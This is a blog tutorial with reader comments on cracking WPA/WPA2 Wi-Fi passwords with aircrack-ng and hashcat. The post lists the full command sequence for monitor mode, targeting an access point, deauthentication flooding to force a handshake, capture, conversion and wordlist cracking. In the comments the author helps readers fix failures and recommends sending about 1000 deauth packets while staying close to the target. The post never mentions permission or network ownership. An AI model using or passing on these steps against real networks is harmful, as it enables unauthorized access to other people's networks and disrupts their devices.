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Hack Wifi (WPA/WPA2) with Aircrack-ng

Crack-WIFI-WPA2 in Linux!

Prerequirments :

  • Aircrack-ng : sudo apt install aircrack-ng

Lets capture the flag (I mean Handshake):

Open terminal.....

Terminal-1:

  1. Detect your wireless network interface :


ifconfig


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Interfaces

if coudn't find command then try :



/sbin/ifconfig


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lets take wlp3s0 as the wireless interface

  1. Start monitor mode : ```

sudo airmon-ng start wlp3s0

![Enable Monitor mode](https://dev-to-uploads.s3.amazonaws.com/i/2rkd5dtkq34r7eq3uamt.png)

3. capture traffic  : 
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sudo airodump-ng wlp3s0mon

![Monitoring](https://dev-to-uploads.s3.amazonaws.com/i/jxh9qpoqjos40kdltxlx.png)

#### Terminal-2:

4. select target and focus on one AP on channel:

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sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon


- **xx.xx.xx.xx.xx.xx** defines : **AP BSSID** -> 00.11.22.33.44.55 (suppose)
- **y** defines : **AP channel** -> 10  (suppose)
- **filename** is the file name where the **handshake** will captute and make some other stuffs .

![Monitong target](https://dev-to-uploads.s3.amazonaws.com/i/8zjk8plcyl6z29fnryhv.png)

#### Terminal-3:
5. Send traffic to the channel :

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sudo aireplay-ng --deauth y -a xx.xx.xx.xx.xx.xx wlp3s0mon


- ammoun of **traffic**-> y

![Deauth](https://dev-to-uploads.s3.amazonaws.com/i/2zt6a5hmp46fskpmgefq.png)

6. Capture handshake : it will be shown in the monitor if captured ! at **Terminal-2**.


7. Now you got the handshake .**(terminal-2)** 

8. Stop the process of terminal-2 : `ctrl+c`

### Now Lets crack the password !


**There will be a WPAcrack-01.cap file in your home directory**


1. convert cap file  into hccapx file : https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php 

or 

1. use **[cap2hccapx.c](https://github.com/hashcat/hashcat-utils/blob/master/src/cap2hccapx.c)** file to convert the **cap** file to **hccapx** file 
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gcc cap2hccapx.c -o cap2hccapx && ./cap2hccapx file.cap file.hccapx


![cap to hccapx](https://dev-to-uploads.s3.amazonaws.com/i/uw7skeg2i1er7oby9u5w.png)

2. Crack password using **hashcat** : 

   - **Install hashcat :**`sudo apt install hashcat`
   - check is everything oky ? : `hashcat -I`  **to use hashcat you need gpu**
   - crack password :

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sudo hashcat -m 2500 wpacrack.hccapx dictionary.txt


- dictionary.txt -> word list (suppose) 
- wpacrack.hccapx is the handshake file

![hashcat](https://dev-to-uploads.s3.amazonaws.com/i/fgckhzgx1q9jew9682se.png)

![Status](https://dev-to-uploads.s3.amazonaws.com/i/8x1esdec8o18mkkeb8m6.png)

Then you will get the password. 

![password](https://dev-to-uploads.s3.amazonaws.com/i/gju9qq3yvasq1lsuk40v.png)

[Here is the git repo you can find **cap2hccapx.c** ](https://github.com/jspw/Crack-WIFI-WPA2)
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Abhay Pratap Singh

airodump-ng does not discover any wifi networks, though they all are in very close proximity and good strength, they are visible on my phone but airodump-ng shows this and stays like this forever, without any change

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5hfT

sometimes it cant capture the handshake and there can be may reasons for that like your wirelesses adapter is not capable of capturing it, weak signal bla bla.....

Try to stay close to the targeted device.

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Abhay Pratap Singh

Yes i searched about it a lot on the internet and finally got to know that there is some issue with the QUALCOM ATHEROS Q933... adapter which comes in a lot of devicesand the only possible solution for this is to use an external Wi-Fi card

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5hfT

yup

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Fearless96 • Edited

When i follow these steps at some point i get this error:

sudo airodump-ng wlp3s0mon
nl80211 not found.
Interface wlp3s0mon:
ioctl(SIOCGIFINDEX) failed: No such device
Failed initializing wireless card(s): wlp3s0mon

What am i doing wrong or what am i missing?

Also in the step before i get the message:

Requested device "wlp3s0" does not exist.

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5hfT

can you show me the output of ifconfig

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Fearless96

ifconfig
enp0s3: flags=4163 mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::ceb7:156a:789d:6d60 prefixlen 64 scopeid 0x20
ether 08:00:27:18:68:bf txqueuelen 1000 (Ethernet)
RX packets 585 bytes 256028 (256.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 640 bytes 83216 (83.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 320 bytes 31490 (31.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 320 bytes 31490 (31.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

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5hfT • Edited

can you give me the screenshot? text are confusing here!

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Fearless96

here you go

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Fearless96

imgur.com/a/unY5Tqr again here you go haha

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5hfT

image is resolution too bad... and are you sure you have a wireless interface? and it is monitor mode supported?

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Fearless96

hmm i'm sorry cant do anything resolution wise. And yes i have a wireless connection and a wired connection in my pc. Dont know for sure if it is monitor supported but i believe it is. it's build in into an aorus master x570 mobo

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5hfT • Edited

look in this ss my wifi interface is wlp3s0.

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Fearless96

Yeah i saw. I am getting a feeling that Ubuntu doesnt pick up my wireless connection at all. Because even if i check in the settings and network it only shows a wired. The dongle is multi purpose also for Bluetooth and there it say plug in a dongle to use Bluetooth

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5hfT • Edited

using ifconfig you can find the wireless interface name. Then use sudo airodump-ng interface_name. I have used wlp3s0 because it was my wireless interface. So you have to use yours here.

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okisyima

where are locate a wordlist?
where a wordlist from?

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5hfT

you can make your own word lists or you can download from internet.
There are a lot of word lists made by the hackers.
One of the popular word list is rock you.txt you can google it.

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okisyima

thank you sir

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5hfT

your most welcome..

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Chris Achinga

I do not understand

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5hfT

Exactly what didnt you understan? 😕

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smohammedafnan

whenever i try to follow steps my wifi turns itself off. is it normal ?
"sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon" when i try to execute , terminal says "airodump-ng help"
why does it do that. Thanks

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spdfrk24

where can I view the password after cracking the password. when I type "hashcat -m 2500 myfilename.hccapx rockyou.txt --show" nothing happen. Thanks

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5hfT

When you are using a wordlist to crack the password using sudo hashcat -m 2500 wpacrack.hccapx dictionary.txt you will find the password in terminal if your wordlist have the password.

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Daitarn III • Edited

This is all I'm getting: ibb.co/JpvkHFK
What does it mean?

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5hfT

you are sending Only 4 deauth...
try to send more like 1000 so that the router will disconnect the commected divices and then these devices will try to connect with the router and your montioring terminal will catch the handshake between router and the connected device.

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Danish Wani • Edited

GPU is mandatory for using hashcat as you have said then this should have been put in Prerequirements section. After following most of the steps, now I am stuck at hashcat